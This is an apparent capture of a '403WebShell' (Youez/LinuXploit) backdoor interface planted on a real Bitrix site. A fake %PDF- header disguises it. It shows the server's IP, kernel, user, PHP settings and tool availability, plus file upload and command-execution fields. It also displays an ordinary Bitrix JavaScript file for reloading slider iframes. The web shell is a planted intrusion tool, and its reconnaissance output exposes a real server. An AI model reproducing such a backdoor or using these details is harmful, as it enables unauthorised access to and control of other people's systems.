%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.190.253.88
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/sliderhacks/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/sliderhacks/src//sliderhacks.js
import {Dom, Event, Runtime, Tag, Cache, Uri, Type} from 'main.core';
import {Loader} from 'main.loader';

import './css/style.css';

/**
 * @memberOf BX.Landing
 */
export class SliderHacks
{
	static cache = new Cache.MemoryCache();

	static getContentArea(): HTMLElement
	{
		return SliderHacks.cache.remember('contentArea', () => {
			return document.querySelector('.landing-main');
		});
	}

	static getContentLoader(): Loader
	{
		return SliderHacks.cache.remember('contentLoader', () => {
			const wrapper = Tag.render`<div class="landing-content-loader"></div>`;
			const loader = new Loader({
				target: wrapper,
			});

			loader.show();

			return wrapper;
		});
	}

	static showContentLoader()
	{
		const contentArea = SliderHacks.getContentArea();
		const contentLoader = SliderHacks.getContentLoader();
		Dom.style(contentArea, 'position', 'relative');
		Dom.append(contentLoader, contentArea);
	}

	static hideContentLoader()
	{
		Dom.style(SliderHacks.getContentArea(), 'position', null);
		Dom.remove(SliderHacks.getContentLoader());
	}

	static reloadSlider(url: string, context): Promise<any>
	{
		return new Promise((resolve) => {
			const slider = BX.SidePanel.Instance.getSliderByWindow(context || window);

			if (slider)
			{
				SliderHacks.showContentLoader();

				const srcFrame = slider.getFrame();
				const frame = Runtime.clone(srcFrame);

				frame.src = Uri.addParam(url, {IFRAME: 'Y'});
				slider.iframe = frame;

				Dom.style(frame, {
					position: 'absolute',
					opacity: 0,
					left: 0,
					transition: '200ms opacity ease',
				});
				Dom.insertAfter(frame, srcFrame);

				Event.bind(frame, 'load', (event) => {
					// clone nav history
					if(
						!Type.isUndefined(srcFrame.contentWindow.BX.Landing.Pub)
						&& !Type.isUndefined(srcFrame.contentWindow.BX.Landing.Pub.TopPanel)
						&& Type.isArrayFilled(srcFrame.contentWindow.BX.Landing.Pub.TopPanel.history)
						&& Type.isNumber(srcFrame.contentWindow.BX.Landing.Pub.TopPanel.historyState)
					)
					{
						frame.contentWindow.BX.Landing.Pub.TopPanel.history =
							srcFrame.contentWindow.BX.Landing.Pub.TopPanel.history;
						frame.contentWindow.BX.Landing.Pub.TopPanel.historyState =
							srcFrame.contentWindow.BX.Landing.Pub.TopPanel.historyState;
						frame.contentWindow.BX.Landing.Pub.TopPanel.checkNavButtonsActivity();
					}

					if (Type.isFunction(slider.handleFrameLoad))
					{
						slider.handleFrameLoad(event);
					}
					else
					{
						console.error('SliderHacks: slider.handleFrameLoad is not a function');
					}

					setTimeout(() => {
						Dom.style(frame, 'opacity', null);
						setTimeout(() => {
							Dom.remove(srcFrame);
							resolve();
						}, 200);
					}, 200);
				});
			}
			else
			{
				resolve();
			}
		});
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit